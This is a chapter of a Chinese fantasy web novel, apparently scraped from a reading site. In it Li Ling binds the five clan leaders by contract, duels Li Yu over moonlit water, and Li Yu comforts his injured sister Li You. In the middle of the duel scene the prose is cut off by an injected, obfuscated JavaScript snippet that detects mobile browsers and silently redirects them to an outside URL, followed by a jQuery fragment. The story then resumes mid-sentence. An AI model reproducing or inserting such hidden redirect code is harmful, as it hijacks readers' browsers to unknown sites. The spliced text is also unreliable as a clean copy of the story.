9. 安慰
作品:《我要当大反派》 第二天,离凌花了一整天的时间将五族所有受到感染的弟子治好。
因为离凌不想暴露身份,所以全程离凌都是披着黑袍戴着面具的。直到闲杂人等都离开,离凌才向五族族长们道:“我答应你们的事已经兑现了。现在,我要提出我的第二个要求。”
离凌并不怕五族这些族长反悔,毕竟都是一族之长,要是有人连这点信用都没有,日后与其他族长合作时难免受人诟病。
离泽面上带着副温润的笑容,其实他现在都快气疯了,自从离凌昨天出现在议事堂后,他就暗中在他身上放了追踪的东西,并连夜派了不少人去追杀,没想到那些人一个都没回来,反而被追杀的离凌此时完好无损地站在这。
离凌心中冷笑,面上却不显:“五族任何人都不能伤害我的姐姐,阿楠。”
离泽皮笑肉不笑道:“这恐怕不好吧、她已经入了魔,即便我们不伤她,她也有可能发狂杀了我五族弟子。”
黎瑶:“我怎就不知,离族长何时这么关心五族弟子了?”
离泽面上有些挂不住,依旧笑着,却不达眼底:“黎族长这是什么意思?”
“字面上的意思。”
气氛有一瞬间的凝固,源琳出来打圆场道:“离小友,我们可以嘱咐弟子尽量不伤你姐姐。但你也知道,她如今情况叵测,若是她与我五族弟子起了冲突,我们也不能看着弟子们去送死。你说是不是?”
离凌沉默着没回答。
“这样吧。”源琳又道:“若是五族人碰到了你姐姐,就第一时间告诉你。不过,若是她反抗,那我们就只能在不伤害她的情况下抓住她再告诉你,你看如何?”
“可以。但若是我姐姐因为你们发生意外,我也很难保证这些弟子会不会复发。”
沙河不满意了,“照你这么说,我五族弟子日后的安危都系在你手上,我等,岂不是任由你拿捏!哼!”
离凌不缓不慢道:“晚辈知道,各位长辈对我很不放心,当然,我也是。”
在刑炎等人发怒前,离凌丝毫不客气地说:“毕竟各位族长法力无边,而我不过是一个实力低微的小辈,族长们想反悔,毁尸灭迹什么的再容易不过。”
“你!” 刑炎气得满脸通红双目圆瞪,他不是善辩口舌之辈,自然不知道怎么辩争。
“那你说怎么办?”刑炎憋红脸道。
离凌把早就准备好的契约拿了出来,轻轻一笑,道:“还请各位长老屈尊在这立个誓。”
立下契约,既能保证他们不因离凌反水,被离凌牵着鼻子走,又能保证众族长不以小欺大,还保障了五族子弟的安危,一举三得。
这样一来,不仅姐姐的安全他可以稍微放心了,五族人也没有拒绝的理由。
至于某些道貌岸然之辈,离凌自然是不关心的。
·
月光皎洁,水波荡漾。
离语一身月牙白衣袍,携月而来。
“你找我何事?”离语看向处在阴暗中的人,略微疲惫地问。
离凌迎着从水面上吹拂来的凉风,道:“上次说的事,你应该猜到是谁了吧?”
“想破坏祭祀的是你姐姐,想陷害你的是族长离泽。”离语说完苦笑一声,“这个并不难猜,毕竟他们表现的……都太过明显了。”
“你真的这么想吗?”
离语维持着脸上的笑容,没说话。离凌比他想象中的还要难缠。
离凌并不看他,双手环在胸前,道:“可据我所知,离泽对二小姐宠爱有加,就算他想陷害我,也不必搭上女儿吧?况且……”
话还没说完,离凌就突然消失。
原本淡然的离语一下子紧张起来,他紧绷着背,素日里温润消失不见,面无表情,沉静的外表下透着汹涌的波涛,与以往都不一样。
正当离语想施展法术,一把泛着寒光的匕首就架在了他脖子上。
离凌贴在他耳畔,轻声说:“离泽一向看重隐潮的利益,为何这次,为了害我不惜毁掉隐潮祭祀大典?”
离语颇为苦恼地叹气:“是我疏忽了。那这么看来,并不是离泽害的你?”
“不是你疏忽了,而是你根本没想过,我能在祭祀大典上活下来。”
见离语已猜到,离语已经没有隐瞒的必要了,他也不恼,淡定开口,仿佛被刀架着的人不是他一般:“你确实是个意外。”
“你是怎么猜到是我的?”
离凌哼笑道:“离鸿才死后你就来找我,你不觉得你很可疑么?堂堂隐潮大少爷,天资卓越,凭什么要帮我这个法力低微的罪人之子?”
“本少爷心血来潮,突发善心,不成吗?”
离凌沉默了片刻,架在离语脖子上的匕首离开了些,似有些疑虑:“这样解释也可以。”
离语见此用手把匕首轻推,不料离凌又把匕首推了回来,他讪笑道:“这又是何意?”
“不过,要是你没有要杀害离泽的心思的话,倒确实说得通。”
离语脸色猛然一变,露出些许怒意,却不真切:“离凌,你不要胡说八道!”
“我有没有胡说八道你自己最清楚。身为隐潮大少爷,却对自己的妹妹怀有不轨之心……这要是传出去……”
这下,离语的脸色真正冷了下来。
下一刻,离语不知怎地就挣脱了离凌的控制。
两人跳下水廊,就这样在倒映着月色的水面上打了起来。
这段时间五族之间并不太平,所以守卫也增多了。为了不那么引人注意,两人动作间都很克制,脚尖轻点在水面上,一收一放,几个回合后,离语发现离凌的实力与自己不分上下,暗暗心惊。
“谁在那边?!”
听着这一声,离凌直接把离语拉着躲到水廊下。
离凌轻呵:“别动。”
离语打量了一下离凌的装扮,轻笑道:“你应该不太想被人发现吧。”说着他就用另一只手向离凌攻去。
离凌伸手抓他,无奈这地方太小,一不小心离凌就撞到了廊下支撑的木柱。
那守卫听到响声,紧张地顿了一下,接着强装镇定道:“出来!”
廊下,离语笑得十分欠揍,但现在实在不是干架的时候。
离凌附在离语耳旁道:“你出去。”
离语好笑道:“这怎么出去?”
脚步声渐渐地近了,离凌也不知道该怎么办,僵着一张脸,低头沉思着。
当他再次抬起头时,就见离语幽幽地看着自己,和善地笑道:“对不住了。”
还不待离凌反应,离语就把他推了出去。
紧接着离语也冲了出来,只见他大喝一声,气势十足:“小贼!哪里跑!”
那护卫见是离语,又惊又喜道:“大少爷!”
离语拿出本命剑,直指离凌,“这小贼偷了本少爷的东西,本少爷要亲自抓拿他,你们先退下,莫要伤着。”
“是。”
离凌皱了皱眉,收起匕首,拿出一把黑剑。
他一身黑袍,手边握着的剑剑气冷厉,让本就泛着湿气的湖面刮起一阵寒风。周边阴风令人心中发寒,这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059907|179165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子怎么看都不像个好人。
下一刻,一蓝一黑就在水面上打了起来。这一次两人都没收着,一招一式间隐约带着凌厉杀气。
“你这是何意?”借着靠近的机会,离凌冷脸问道。
“我这不是在帮你么,放心,我的秘密可还在你手上呢。”
没凭没据的谁会信!离凌才不相信这个人的鬼话。
电光火石间,眼见离语要落下风,小护卫本就不大的胆子早就吓破了,呼喊道:“少爷,你挺住!我这就叫长老过来。”
看着被自己击退数米的离语,离凌也不傻,知道他这是让自己趁机赶紧走。
离凌复杂地看了眼离语,随即一个转身消失在夜幕中,无声无息,就如他来时那样。
·
“语儿,近来可好?”
“义父,一切安好。”离语淡笑地回道,与寻常无异。
自从前日离语大战小贼却惨遭败北,离泽这个义父就时不时地问离语这么一句。
离语是隐潮这一辈中的翘首,在这之前,从无败绩,离泽担心他因这个小小的挫折灰心丧气。
“没事就好,没事就好。”
“义父,那我就先告退了。”
“又去看望幽儿?”离泽暗自神伤地叹了口气。
离语笑容淡了几分,多了些许担忧,“她近日很少说话,作为哥哥,我也该去探望探望她。”
“你们两个自小关系就很好,要不是……我恐怕就要把她许配给你了。”
“义父,这玩笑可开不得,我一直都把她当作妹妹的。”
“好了,你赶紧去吧。”
“是。”
离泽没看到的是,在离语转过身的一刹那,原本挂在他脸上的笑容消失殆尽。
离语走过蜿蜒的水廊,来到离幽的住所。
门前的梨花已经开了,白的娇嫩清雅,不似牡丹那般娇艳,却也别有一番滋味,就如它的主人一样。
离幽一向喜欢清净,所以她的住所侍从来的不多。
离语敲了敲门,问声道:“幽儿,你在吗?”
离语连唤了好几声都没有反应,害怕出事,就直接推门闯了进去。
“幽儿,幽儿?”离语边走边喊。
直到走到后院,离语便见离幽穿着件单薄的衣裳,完好无损地坐地院子里的梨树下吹风。
凉风吹起离幽脸颊旁的碎发,携着两朵梨花好巧不巧地掉在离幽的发间。
离语一时晃了一下神,待回过神来狠狠松了口气,旋即有些生气,三步并作两步地走地上去,强忍着情绪柔声道:“怎么坐在这?也不多加件衣裳。”
离幽怔怔地看着他拿出一件厚实的披风披在自己身上,她微红着眼眶,低头轻语:“哥哥,我是不是很没用?”
离语摸摸她的头,认真道:“怎么会呢?”
她脸上露出极少见的嘲意,“我没有完成祭祀,还把自己弄成了个废人……”
自祭祀大典被毁,离幽经脉全断,成了一个无法修炼的废人。这是谁都没有想到了,也是隐潮任何人不愿看到的。
一时间,隐潮对这件事议论纷纷,离泽为了离幽在隐潮下了禁言令,这个话题成了隐潮人不宣于口的禁忌。
“幽儿,会好起来的。”离语坐在旁边的凳子上,轻拢着离幽,并不是抱,只是把她圈在了自己身边。
这是作为一个兄长,能给她的微不足道的安慰。
离幽没说话,小心翼翼地把额头轻靠在离语肩头,她心里知道,这些不过都是宽慰罢了。

